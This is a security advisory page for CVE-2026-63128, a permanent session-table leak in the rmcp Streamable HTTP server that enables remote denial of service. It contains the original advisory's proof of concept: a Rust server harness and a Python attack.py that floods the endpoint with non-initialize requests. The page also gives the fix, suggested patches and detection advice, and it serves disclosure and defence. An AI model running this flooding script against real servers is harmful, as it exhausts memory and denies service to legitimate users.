NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · MCP Rust SDK (rmcp)

CVE-2026-63128: RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service

highCVSS 3.1 7.5GHSA-9pj6-vhgr-3mwh

The Streamable HTTP server in the Rust MCP SDK `rmcp` leaks one session-table entry for every request that is valid JSON-RPC but not an `InitializeRequest`. An unauthenticated client can use this to grow memory without limit until the process is killed. Versions before 2.0.0 are affected. Upgrade to rmcp 2.0.0.

Published Sep 16, 2026 · Analysis Oct 23, 2026

What an attacker can do

In StreamableHttpService::handle_post (crates/rmcp/src/transport/streamable_http_server/tower.rs), the server calls create_session() before it validates the body. Four early returns then reject a bad body without calling close_session. The LocalSessionHandle stays in the LocalSessionManager.sessions map, which holds the sender half of the mpsc channel. The worker has already exited, so the keep_alive and init_timeout cleanup paths never fire. The entry lives until the process dies.

Each request of about 250 bytes costs roughly 400 to 550 bytes of memory. In the advisory's proof of concept, a tools/list POST gets HTTP 422 "Unexpected message, expect initialize request", and 1,000 requests in 0.46 seconds left active_sessions=1000 unchanged afterward. At about 2,000 requests per second from one client, the advisory estimates roughly 3.5 GB per hour and about 84 GB per day.

No authentication or default-config change is needed. The default allowed_hosts is loopback, so for an MCP server embedded in an IDE or local agent, any local process can attack it. If you widened allowed_hosts to a public name, the network can. Before the OOM, every honest client slows down, because session operations share the same RwLock. A restart restores service but does not stop a repeat.

Who is affected

Affected: the Rust crate rmcp before 2.0.0 when you run its Streamable HTTP server transport with the default LocalSessionManager. The advisory reproduced it on 1.7.0. Clients that only connect to servers are not the target. Check the resolved version:

cargo tree -i rmcp

rmcp

Ecosystem
Rust (crates.io)
Affected
< 2.0.0
Fixed in
2.0.0
Check
cargo tree -i rmcp

How to fix it

Upgrade to rmcp 2.0.0.

cargo update -p rmcp

If the lockfile stays below 2.0.0, raise the version requirement in Cargo.toml. The advisory suggests validating the message type before creating a session, or wrapping the session in a guard that closes it on early return. The sources give no configuration workaround. Until you upgrade, keep the listener on loopback or behind a reverse proxy with request rate limits.

How to tell if you were hit

Watch resident memory of the MCP server for steady growth that does not fall after clients disconnect. Log or expose sessions.len() if you embed the manager. In the access log, look for many POSTs to the MCP endpoint answered with HTTP 422 and the body "Unexpected message, expect initialize request". A burst of these from one source is the attack.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of LocalSessionManager by sending a well-formed JSON-RPC POST that is *not* an InitializeRequest. The Streamable HTTP server's handle_post allocates the session before it validates the body, then early-returns on the validation failure without calling close_session. The LocalSessionHandle (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly 170 million leaked entries per day, equivalent to ≈75 GB of resident memory just from the session table.

Details

The bug lives in crates/rmcp/src/transport/streamable_http_server/tower.rs inside StreamableHttpService::handle_post. The relevant slice of 1.7.0 source (lines 1126–1170) is:

} else {
    let (session_id, transport) = self
        .session_manager
        .create_session()                                                  // (★)
        .await
        .map_err(internal_error_response("create session"))?;
    // ...capture init params if a SessionStore is configured...
    if let ClientJsonRpcMessage::Request(req) = &mut message {
        let ClientRequest::InitializeRequest(init_req) = &req.request else {
            return Err(unexpected_message_response("initialize request")); // (A)
        };
        validate_header_matches_init_body(                                 // (B)
            &part.headers,
            init_req.params.protocol_version.as_str(),
            Some(req.id.clone()),
        )?;
        req.request.extensions_mut().insert(part);
    } else {
        return Err(unexpected_message_response("initialize request"));     // (C)
    }
    let service = self
        .get_service()                                                     // (D)
        .map_err(internal_error_response("get service"))?;
    Self::spawn_session_worker(                                            // (★★)
        self.session_manager.clone(),
        session_id.clone(),
        service,
        transport,
        None,
    );
    // ...persist to external store, send response...
}

Two facts make this unsafe:

  1. (★) inserts a LocalSessionHandle into LocalSessionManager.sessions (a tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>) and spawns a LocalSessionWorker task.
  2. (★★) spawn_session_worker is the only code path in the entire transport (besides a client-initiated HTTP DELETE reaching handle_delete) that ever invokes self.session_manager.close_session(&session_id).

Therefore the four early-returns (A), (B), (C), and (D) all skip the cleanup. What happens concretely after such an early return:

  • The local transport: WorkerTransport<LocalSessionWorker> goes out of scope; its _drop_guard cancels the worker's CancellationToken.
  • The worker, which had been awaiting event_rx.recv(), exits within milliseconds via WorkerQuitReason::Cancelled. Its event_rx receiver is dropped.
  • LocalSessionHandle.event_tx (the Sender half of the same mpsc channel) is still alive because it is owned by the HashMap entry that nothing ever removes. The channel's Inner (sized to channel_capacity = 16 by default) remains pinned in memory.

Because the worker has already exited, the SessionConfig::keep_alive and init_timeout cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore permanent for the lifetime of the server process and grows unbounded with sustained traffic.

The bug is reachable with zero authentication, the default StreamableHttpServerConfig, and the default LocalSessionManager. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate Host: <bound-address> value and is allowed through validate_dns_rebinding_headers normally.

A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes self.sessions.write().await or .read().await against the same RwLock. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, before the box runs out of memory.

Proof of concept

The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.

Step 1 — server harness

Cargo.toml (paste verbatim):

[package]
name = "rmcp_leak_repro"
version = "0.0.1"
edition = "2021"
publish = false

[dependencies]
rmcp = { version = "1.7.0", default-features = false, features = [
    "server",
    "transport-streamable-http-server",
] }
tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
tokio-util = { version = "0.7" }
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
anyhow = "1"

[workspace]

src/main.rs (paste verbatim):

//! Minimal MCP Streamable HTTP server that prints the size of the
//! LocalSessionManager.sessions HashMap once a second so the leak is
//! observable from stdout.

use std::sync::Arc;

use rmcp::{
    ErrorData, RoleServer, ServerHandler,
    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},
    service::RequestContext,
    transport::{
        StreamableHttpServerConfig, StreamableHttpService,
        streamable_http_server::session::local::LocalSessionManager,
    },
};

const BIND_ADDRESS: &str = "127.0.0.1:8000";

#[derive(Clone, Default)]
struct MinimalServer;

impl ServerHandler for MinimalServer {
    async fn initialize(
        &self,
        _request: InitializeRequestParams,
        _cx: RequestContext<RoleServer>,
    ) -> Result<InitializeResult, ErrorData> {
        Ok(InitializeResult::new(ServerCapabilities::builder().build())
            .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1")))
    }
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let ct = tokio_util::sync::CancellationToken::new();
    let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());

    // Reporter — prints sessions.len() every second.
    {
        let manager = manager.clone();
        let ct = ct.clone();
        tokio::spawn(async move {
            loop {
                tokio::select! {
                    _ = ct.cancelled() => break,
                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {
                        let n = manager.sessions.read().await.len();
                        println!("[count] active_sessions={n}");
                    }
                }
            }
        });
    }

    let service = StreamableHttpService::new(
        || Ok(MinimalServer::default()),
        manager.clone(),
        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),
    );

    let router = axum::Router::new().nest_service("/mcp", service);
    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;
    println!("[server] listening on http://{BIND_ADDRESS}/mcp");

    let _ = axum::serve(tcp_listener, router)
        .with_graceful_shutdown(async move {
            tokio::signal::ctrl_c().await.ok();
            ct.cancel();
        })
        .await;
    Ok(())
}

Start it:

cargo run --release

Initial output:

[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0

Step 2 — attacker

attack.py (paste verbatim — Python 3 standard library only, no pip install required):

import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
}).encode("ascii")

headers = {
    "Host": f"{HOST}:{PORT}",                        # passes allowed_hosts
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
    "Content-Length": str(len(body)),
}

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    status = resp.status
    resp.read()
    conn.close()
    if status == 422:
        leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")

Run it:

python3 attack.py 1000

Step 3 — observed evidence

Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):

[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).

Server output during and after the attack:

[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000      <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000      <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000

The behavioural evidence that confirms the vulnerability:

  • Every one of the 1 000 requests took the leak branch (HTTP 422 Unprocessable Entity with body Unexpected message, expect initialize request).
  • A single Python client sustained 1000 / 0.46 ≈ 2 174 leak requests per second.
  • After the attacker exited, active_sessions=1000 never decreased. The session table holds those entries for the rest of the process's lifetime.

<!-- Optional: drop in a terminal screenshot here. Two screenshots (server console / attacker console) or one side-by-side capture are both fine. Filenames can be anything you like; suggested: ![server console — active_sessions climbs to 1000 and remains](server.png) ![attacker console — 1000/1000 HTTP 422 in 0.46s](attacker.png) -->

Impact

  • Attack vector: Network (AV:N). The listener binds a TCP port; the default allowed_hosts = ["localhost", "127.0.0.1", "::1"] accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened allowed_hosts to a public hostname, the attack is reachable from the network.
  • Authentication required: None.
  • User interaction required: None.
  • Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the SessionId Arc<str>, the LocalSessionHandle struct, and the half-dropped mpsc channel Inner). At the measured rate of 2 174 leak requests per second from one Python client:
  • 1 hour: ~7.8 M entries, ≈3.5 GB
  • 1 day: ~187 M entries, ≈84 GB
  • 1 week: process is long dead from OOM
  • Secondary effect: LocalSessionManager.sessions is behind a tokio::sync::RwLock. Every legitimate session operation (has_session, create_session, close_session, restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.
  • Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.

Suggested fix

Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.

  1. Validate before allocating. Move the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and the validate_header_matches_init_body call above the self.session_manager.create_session().await line. Reject non-initialize bodies with 422 *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that validate_header_matches_init_body currently reads init_req.params.protocol_version, so the InitializeRequest discriminant has to be deconstructed earlier — a small refactor.
  2. RAII guard for the session. Wrap the session_id returned by create_session in a guard whose Drop impl spawns a close_session call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.

A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

Credited to hewei-gikaku.

Questions

Does CVE-2026-63128 need authentication?

No. The advisory describes an unauthenticated attacker, the default StreamableHttpServerConfig and the default LocalSessionManager. No user interaction is needed.

Is this the same as the DNS-rebinding flaw fixed in rmcp 1.4.0?

No. The advisory says it is independent. The attacker sends a valid Host header and passes the DNS-rebinding check.

Does the memory come back after the attacker stops?

No. The leaked entries stay for the life of the process. Only a restart frees them.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More MCP Rust SDK (rmcp) vulnerabilities

All MCP Rust SDK (rmcp) entries